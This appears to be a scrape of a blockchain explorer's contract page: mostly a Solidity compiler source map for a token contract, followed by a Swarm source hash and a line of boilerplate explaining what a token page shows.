24081:15:0;:6;-1:-1:-1;;;;;24081:15:0;;24077:526;;24121:13;;;;;;;24113:51;;;;-1:-1:-1;;;24113:51:0;;15853:2:1;24113:51:0;;;15835:21:1;15892:2;15872:18;;;15865:30;-1:-1:-1;;;15911:18:1;;;15904:55;15976:18;;24113:51:0;15651:349:1;24113:51:0;24197:6;;24187;:16;;24179:54;;;;-1:-1:-1;;;24179:54:0;;16207:2:1;24179:54:0;;;16189:21:1;16246:2;16226:18;;;16219:30;16285:27;16265:18;;;16258:55;16330:18;;24179:54:0;16005:349:1;24179:54:0;15190:1;24268:12;;:27;;;;:::i;:::-;24252:12;:43;24248:117;;24316:33;24333:9;24344:4;24316:16;:33::i;:::-;24395:28;24410:6;24418:4;24395:14;:28::i;:::-;24379:44;;-1:-1:-1;24379:44:0;-1:-1:-1;24077:526:0;;;24458:5;-1:-1:-1;;;;;24445:18:0;:9;-1:-1:-1;;;;;24445:18:0;;24441:162;;24488:13;;;;;;;24480:51;;;;-1:-1:-1;;;24480:51:0;;15853:2:1;24480:51:0;;;15835:21:1;15892:2;15872:18;;;15865:30;-1:-1:-1;;;15911:18:1;;;15904:55;15976:18;;24480:51:0;15651:349:1;24480:51:0;24562:29;24577:6;24585:5;24562:14;:29::i;:::-;24546:45;;-1:-1:-1;24546:45:0;-1:-1:-1;24441:162:0;24613:37;24626:6;24634:9;24645:4;24613:12;:37::i;:::-;24661:25;24672:6;24680:5;24661:10;:25::i;:::-;23555:1139;;23433:1261;;;:::o;24791:1299::-;17529:7;:14;;-1:-1:-1;;17529:14:0;17539:4;17529:14;;;24861:16:::1;::::0;;24875:1:::1;24861:16:::0;;;;;::::1;::::0;;-1:-1:-1;;24861:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;24861:16:0::1;24837:40;;24906:4;24888;24893:1;24888:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;24888:23:0::1;;;-1:-1:-1::0;;;;;24888:23:0::1;;;::::0;::::1;24932:7;-1:-1:-1::0;;;;;24932:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;24922:4;24927:1;24922:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;24922:24:0;;;::::1;:7;::::0;;::::1;::::0;;;;;;;:24;24994:13;;:10:::1;24978:13:::0;24959:16:::1;::::0;24978:29:::1;::::0;::::1;:::i;:::-;24959:48;;25022:8;25034:1;25022:13:::0;25018:52:::1;;25052:7;;;;25018:52;25157:4;23050:7:::0;23082:18;;;:9;:18;;;;;;25102:8;;25125:11:::1;:38;25121:109;;;-1:-1:-1::0;25212:4:0::1;23050:7:::0;23082:18;;;:9;:18;;;;;;25121:109:::1;25240:54;25257:4;25272:7;25282:11;25240:8;:54::i;:::-;25305:216;::::0;-1:-1:-1;;;25305:216:0;;-1:-1:-1;;;;;25305:7:0::1;:58;::::0;::::1;::::0;:216:::1;::::0;25378:11;;25404:1:::1;::::0;25448:4;;25475::::1;::::0;25495:15:::1;::::0;25305:216:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;25635:10:0::1;:13:::0;25561:21:::1;::::0;-1:-1:-1;25532:26:0::1;::::0;-1:-1:-1;25652:8:0;;25614:34:::1;::::0;25561:21;25614:34:::1;:::i;:::-;25613:47;;;;:::i;:::-;25595:65:::0;-1:-1:-1;25671:15:0::1;25728:8:::0;25711:10:::1;25722:1;25711:13;::::0;25690:34:::1;::::0;:18;:34:::1;:::i;:::-;25689:47;;;;:::i;:::-;25747:19;::::0;;;;::::1;::::0;;;-1:-1:-1;25747:19:0;;;::::1;::::0;::::1;::::0;25671:65;;-1:-1:-1;25747:19:0::1;::::0;:10:::1;::::0;:19:::1;;:::i;:::-;-1:-1:-1::0;25783:11:0;;25779:147:::1;;25830:10;:13:::0;:38:::1;::::0;25812:12:::1;::::0;-1:-1:-1;;;;;25830:13:0::1;::::0;25856:7;;25812:12;25830:38;25812:12;25830:38;25856:7;25830:13;:38:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25811:57;;;25891:7;25883:31;;;::::0;-1:-1:-1;;;25883:31:0;;18012:2:1;25883:31:0::1;::::0;::::1;17994:21:1::0;18051:2;18031:18;;;18024:30;-1:-1:-1;;;18070:18:1;;;18063:41;18121:18;;25883:31:0::1;17810:335:1::0;25883:31:0::1;25796:130;25779:147;25940:11:::0;;25936:147:::1;;25987:13:::0;;:38:::1;::::0;25969:12:::1;::::0;-1:-1:-1;;;;;25987:13:0::1;::::0;26013:7;;25969:12;25987:38;25969:12;25987:38;26013:7;25987:13;:38:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25968:57;;;26048:7;26040:31;;;::::0;-1:-1:-1;;;26040:31:0;;18012:2:1;26040:31:0::1;::::0;::::1;17994:21:1::0;18051:2;18031:18;;;18024:30;-1:-1:-1;;;18070:18:1;;;18063:41;18121:18;;26040:31:0::1;17810:335:1::0;26040:31:0::1;25953:130;25936:147;24826:1264;;;;;;17554:1;17566:7:::0;:15;;-1:-1:-1;;17566:15:0;;;24791:1299::o;29051:268::-;15069:20;29142:6;29127:12;;:21;;;;:::i;:::-;:35;;29119:67;;;;-1:-1:-1;;;29119:67:0;;18352:2:1;29119:67:0;;;18334:21:1;18391:2;18371:18;;;18364:30;-1:-1:-1;;;18410:18:1;;;18403:49;18469:18;;29119:67:0;18150:343:1;29119:67:0;29213:6;29197:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;29230:28:0;;-1:-1:-1;29242:7:0;29251:6;29230:11;:28::i;:::-;29274:37;;2520:25:1;;;-1:-1:-1;;;;;29274:37:0;;;29291:1;;29274:37;;2508:2:1;2493:18;29274:37:0;;;;;;;29051:268;;:::o;21537:168::-;-1:-1:-1;;;;;21638:15:0;;;;;;:9;:15;;;;;;;;;;21615:47;;18688:51:1;;;21638:15:0;;18782:14:1;18775:22;18755:18;;;18748:50;18841:14;;18834:22;18814:18;;;18807:50;21615:47:0;;;;;;18676:2:1;21615:47:0;;;-1:-1:-1;;;;;21673:15:0;;;;;;;;:9;:15;;;;;:24;;-1:-1:-1;;21673:24:0;;;;;;;;;;21537:168::o;28370:565::-;-1:-1:-1;;;;;28505:20:0;;28497:63;;;;-1:-1:-1;;;28497:63:0;;19070:2:1;28497:63:0;;;19052:21:1;19109:2;19089:18;;;19082:30;19148:32;19128:18;;;19121:60;19198:18;;28497:63:0;18868:354:1;28497:63:0;-1:-1:-1;;;;;28579:23:0;;28571:64;;;;-1:-1:-1;;;28571:64:0;;19429:2:1;28571:64:0;;;19411:21:1;19468:2;19448:18;;;19441:30;19507;19487:18;;;19480:58;19555:18;;28571:64:0;19227:352:1;28571:64:0;-1:-1:-1;;;;;23082:18:0;;28648:21;23082:18;;;:9;:18;;;;;;;;;28708:11;:19;;;;;;;;;;:46;;;28748:6;28731:13;:23;;28708:46;28700:90;;;;-1:-1:-1;;;28700:90:0;;19786:2:1;28700:90:0;;;19768:21:1;19825:2;19805:18;;;19798:30;19864:33;19844:18;;;19837:61;19915:18;;28700:90:0;19584:355:1;28700:90:0;-1:-1:-1;;;;;23379:18:0;;;;;;:9;:18;;;;;;;:27;;;23358:48;;28844:30;28856:9;28867:6;28844:11;:30::i;:::-;28909:9;-1:-1:-1;;;;;28892:35:0;28901:6;-1:-1:-1;;;;;28892:35:0;;28920:6;28892:35;;;;2520:25:1;;2508:2;2493:18;;2374:177;28892:35:0;;;;;;;;28486:449;28370:565;;;:::o;26900:653::-;-1:-1:-1;;;;;26980:19:0;;;;;;:11;:19;;;;;;;;26979:20;:47;;;;-1:-1:-1;;;;;;27004:22:0;;;;;;:11;:22;;;;;;;;27003:23;26979:47;26975:571;;;27057:5;-1:-1:-1;;;;;27047:15:0;:6;-1:-1:-1;;;;;27047:15:0;;27043:492;;-1:-1:-1;;;;;27111:21:0;;27083:25;27111:21;;;:10;:21;;;;;27155:20;;:25;:54;;;;-1:-1:-1;;;;;;23082:18:0;;23050:7;23082:18;;;:9;:18;;;;;;27184:25;27155:54;27151:141;;;27257:15;27234:38;;-1:-1:-1;;20519:205:0:o;27043:492::-;-1:-1:-1;;;;;27360:18:0;;27332:25;27360:18;;;:10;:18;;;;;27447:14;;27424:20;;:37;;27447:14;27424:37;:::i;:::-;27397:24;;;:64;27504:15;27480:21;;;;:39;26900:653;;:::o;27754:567::-;27857:12;27871:23;;:::i;:::-;27916:6;27912:356;;;27939:141;;;;;;;;;;15138:6;27976:8;-1:-1:-1;27976:11:0;;27967:20;;:6;:20;:::i;:::-;27966:40;;;;:::i;:::-;27939:141;;;;15138:6;28035:8;28044:1;28035:11;;28026:20;;:6;:20;:::i;:::-;28025:40;;;;:::i;:::-;27939:141;;;-1:-1:-1;27912:356:0;;;28113:143;;;;;;;;;;15138:6;28150:9;-1:-1:-1;28150:12:0;;28141:21;;:6;:21;:::i;:::-;28140:41;;;;:::i;:::-;28113:143;;;;15138:6;28210:9;28220:1;28210:12;;28201:21;;:6;:21;:::i;:::-;28200:41;;;;:::i;:::-;28113:143;;;-1:-1:-1;27912:356:0;28305:8;;;;28294;;28285:17;;:6;:17;:::i;:::-;:28;;;;:::i;:::-;28278:35;;27754:567;;;;;:::o;26505:387::-;-1:-1:-1;;;;;26616:22:0;;26608:65;;;;-1:-1:-1;;;26608:65:0;;20146:2:1;26608:65:0;;;20128:21:1;20185:2;20165:18;;;20158:30;20224:32;20204:18;;;20197:60;20274:18;;26608:65:0;19944:354:1;26608:65:0;26725:14;;;;26708;;26686:19;;26708:31;;;:::i;:::-;26686:53;;26750:50;26763:8;26781:4;26788:11;26750:12;:50::i;:::-;26828:14;;26811:10;:31;;26840:1;;26811:31;;26828:14;;26811:31;:::i;:::-;;;;-1:-1:-1;;26870:14:0;;;;26853:13;:31;;:13;;:31;;26870:14;;26853:31;:::i;23116:130::-;-1:-1:-1;;;;;23211:18:0;;;;;;:9;:18;;;;;;:27;;23232:6;;23211:27;:::i;:::-;-1:-1:-1;;;;;23190:18:0;;;;;;;:9;:18;;;;;:48;;;;-1:-1:-1;23116:130:0:o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1347:343::-;1414:2;1408:9;;;1444:15;;1489:18;1474:34;;1510:22;;;1471:62;1468:185;;;1575:10;1570:3;1566:20;1563:1;1556:31;1610:4;1607:1;1600:15;1638:4;1635:1;1628:15;1468:185;1669:2;1662:22;1347:343;:::o;1695:674::-;1785:6;1838:2;1826:9;1817:7;1813:23;1809:32;1806:52;;;1854:1;1851;1844:12;1806:52;1903:7;1896:4;1885:9;1881:20;1877:34;1867:62;;1925:1;1922;1915:12;1867:62;1949:17;;:::i;:::-;1988:3;2029:2;2018:9;2014:18;2055:7;2047:6;2044:19;2041:39;;;2076:1;2073;2066:12;2041:39;2100:9;2118:221;2134:6;2129:3;2126:15;2118:221;;;2216:3;2203:17;2233:31;2258:5;2233:31;:::i;:::-;2277:18;;2324:4;2315:14;;;;2151;2118:221;;;-1:-1:-1;2358:5:1;;1695:674;-1:-1:-1;;;;;1695:674:1:o;2556:160::-;2621:20;;2677:13;;2670:21;2660:32;;2650:60;;2706:1;2703;2696:12;2650:60;2556:160;;;:::o;2721:315::-;2786:6;2794;2847:2;2835:9;2826:7;2822:23;2818:32;2815:52;;;2863:1;2860;2853:12;2815:52;2902:9;2889:23;2921:31;2946:5;2921:31;:::i;:::-;2971:5;-1:-1:-1;2995:35:1;3026:2;3011:18;;2995:35;:::i;:::-;2985:45;;2721:315;;;;;:::o;3041:456::-;3118:6;3126;3134;3187:2;3175:9;3166:7;3162:23;3158:32;3155:52;;;3203:1;3200;3193:12;3155:52;3242:9;3229:23;3261:31;3286:5;3261:31;:::i;:::-;3311:5;-1:-1:-1;3368:2:1;3353:18;;3340:32;3381:33;3340:32;3381:33;:::i;:::-;3041:456;;3433:7;;-1:-1:-1;;;3487:2:1;3472:18;;;;3459:32;;3041:456::o;3502:180::-;3561:6;3614:2;3602:9;3593:7;3589:23;3585:32;3582:52;;;3630:1;3627;3620:12;3582:52;-1:-1:-1;3653:23:1;;3502:180;-1:-1:-1;3502:180:1:o;3876:247::-;3935:6;3988:2;3976:9;3967:7;3963:23;3959:32;3956:52;;;4004:1;4001;3994:12;3956:52;4043:9;4030:23;4062:31;4087:5;4062:31;:::i;:::-;4112:5;3876:247;-1:-1:-1;;;3876:247:1:o;4128:591::-;4210:6;4263:2;4251:9;4242:7;4238:23;4234:32;4231:52;;;4279:1;4276;4269:12;4231:52;4328:7;4321:4;4310:9;4306:20;4302:34;4292:62;;4350:1;4347;4340:12;4292:62;4374:17;;:::i;:::-;4413:3;4454:2;4443:9;4439:18;4480:7;4472:6;4469:19;4466:39;;;4501:1;4498;4491:12;4466:39;4525:9;4543:146;4559:6;4554:3;4551:15;4543:146;;;4627:17;;4615:30;;4674:4;4665:14;;;;4576;4543:146;;5156:180;5212:6;5265:2;5253:9;5244:7;5240:23;5236:32;5233:52;;;5281:1;5278;5271:12;5233:52;5304:26;5320:9;5304:26;:::i;5341:383::-;5418:6;5426;5434;5487:2;5475:9;5466:7;5462:23;5458:32;5455:52;;;5503:1;5500;5493:12;5455:52;5539:9;5526:23;5516:33;;5596:2;5585:9;5581:18;5568:32;5558:42;;5650:2;5639:9;5635:18;5622:32;5663:31;5688:5;5663:31;:::i;:::-;5713:5;5703:15;;;5341:383;;;;;:::o;5729:388::-;5797:6;5805;5858:2;5846:9;5837:7;5833:23;5829:32;5826:52;;;5874:1;5871;5864:12;5826:52;5913:9;5900:23;5932:31;5957:5;5932:31;:::i;:::-;5982:5;-1:-1:-1;6039:2:1;6024:18;;6011:32;6052:33;6011:32;6052:33;:::i;:::-;6104:7;6094:17;;;5729:388;;;;;:::o;6356:380::-;6435:1;6431:12;;;;6478;;;6499:61;;6553:4;6545:6;6541:17;6531:27;;6499:61;6606:2;6598:6;6595:14;6575:18;6572:38;6569:161;;6652:10;6647:3;6643:20;6640:1;6633:31;6687:4;6684:1;6677:15;6715:4;6712:1;6705:15;6569:161;;6356:380;;;:::o;6741:356::-;6943:2;6925:21;;;6962:18;;;6955:30;7021:34;7016:2;7001:18;;6994:62;7088:2;7073:18;;6741:356::o;7102:960::-;7385:3;7370:19;;7374:9;7466:6;7343:4;7500:194;7514:4;7511:1;7508:11;7500:194;;;7577:13;;-1:-1:-1;;;;;7573:39:1;7561:52;;7642:4;7633:14;;;;7609:1;7670:14;;;;7527:9;7500:194;;;7504:3;;;7731:2;7720:9;7716:18;7782:6;7808:1;7818:238;7834:4;7829:3;7826:13;7818:238;;;7903:15;;-1:-1:-1;;;;;7899:41:1;7885:56;;7964:4;7990:14;;;;8029:17;;;;7937:1;7849:11;7818:238;;;7822:3;;;7102:960;;;;;:::o;8765:127::-;8826:10;8821:3;8817:20;8814:1;8807:31;8857:4;8854:1;8847:15;8881:4;8878:1;8871:15;8897:125;8962:9;;;8983:10;;;8980:36;;;8996:18;;:::i;9639:306::-;9727:6;9735;9743;9796:2;9784:9;9775:7;9771:23;9767:32;9764:52;;;9812:1;9809;9802:12;9764:52;9841:9;9835:16;9825:26;;9891:2;9880:9;9876:18;9870:25;9860:35;;9935:2;9924:9;9920:18;9914:25;9904:35;;9639:306;;;;;:::o;9950:127::-;10011:10;10006:3;10002:20;9999:1;9992:31;10042:4;10039:1;10032:15;10066:4;10063:1;10056:15;10495:876;10746:3;10731:19;;10735:9;10827:6;10704:4;10861:168;10875:4;10872:1;10869:11;10861:168;;;10934:13;;10922:26;;10977:4;10968:14;;;;11017:1;11005:14;;;;10888:9;10861:168;;;10865:3;;;11066:2;11055:9;11051:18;11117:6;11143:1;11153:212;11169:4;11164:3;11161:13;11153:212;;;11234:15;;11220:30;;11273:4;11299:14;;;;11338:17;;;;11193:1;11184:11;11153:212;;13195:128;13262:9;;;13283:11;;;13280:37;;;13297:18;;:::i;13735:168::-;13808:9;;;13839;;13856:15;;;13850:22;;13836:37;13826:71;;13877:18;;:::i;13908:217::-;13948:1;13974;13964:132;;14018:10;14013:3;14009:20;14006:1;13999:31;14053:4;14050:1;14043:15;14081:4;14078:1;14071:15;13964:132;-1:-1:-1;14110:9:1;;13908:217::o;16359:251::-;16429:6;16482:2;16470:9;16461:7;16457:23;16453:32;16450:52;;;16498:1;16495;16488:12;16450:52;16530:9;16524:16;16549:31;16574:5;16549:31;:::i;16615:980::-;16877:4;16925:3;16914:9;16910:19;16956:6;16945:9;16938:25;16982:2;17020:6;17015:2;17004:9;17000:18;16993:34;17063:3;17058:2;17047:9;17043:18;17036:31;17087:6;17122;17116:13;17153:6;17145;17138:22;17191:3;17180:9;17176:19;17169:26;;17230:2;17222:6;17218:15;17204:29;;17251:1;17261:195;17275:6;17272:1;17269:13;17261:195;;;17340:13;;-1:-1:-1;;;;;17336:39:1;17324:52;;17431:15;;;;17396:12;;;;17372:1;17290:9;17261:195;;;-1:-1:-1;;;;;;;17512:32:1;;;;17507:2;17492:18;;17485:60;-1:-1:-1;;;17576:3:1;17561:19;17554:35;17473:3;16615:980;-1:-1:-1;;;16615:980:1:o

Swarm Source

ipfs://d9e8932ea8f9f8cfd2e1c33fc14c86951f2039106940d5655f3ecfe3f802803f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.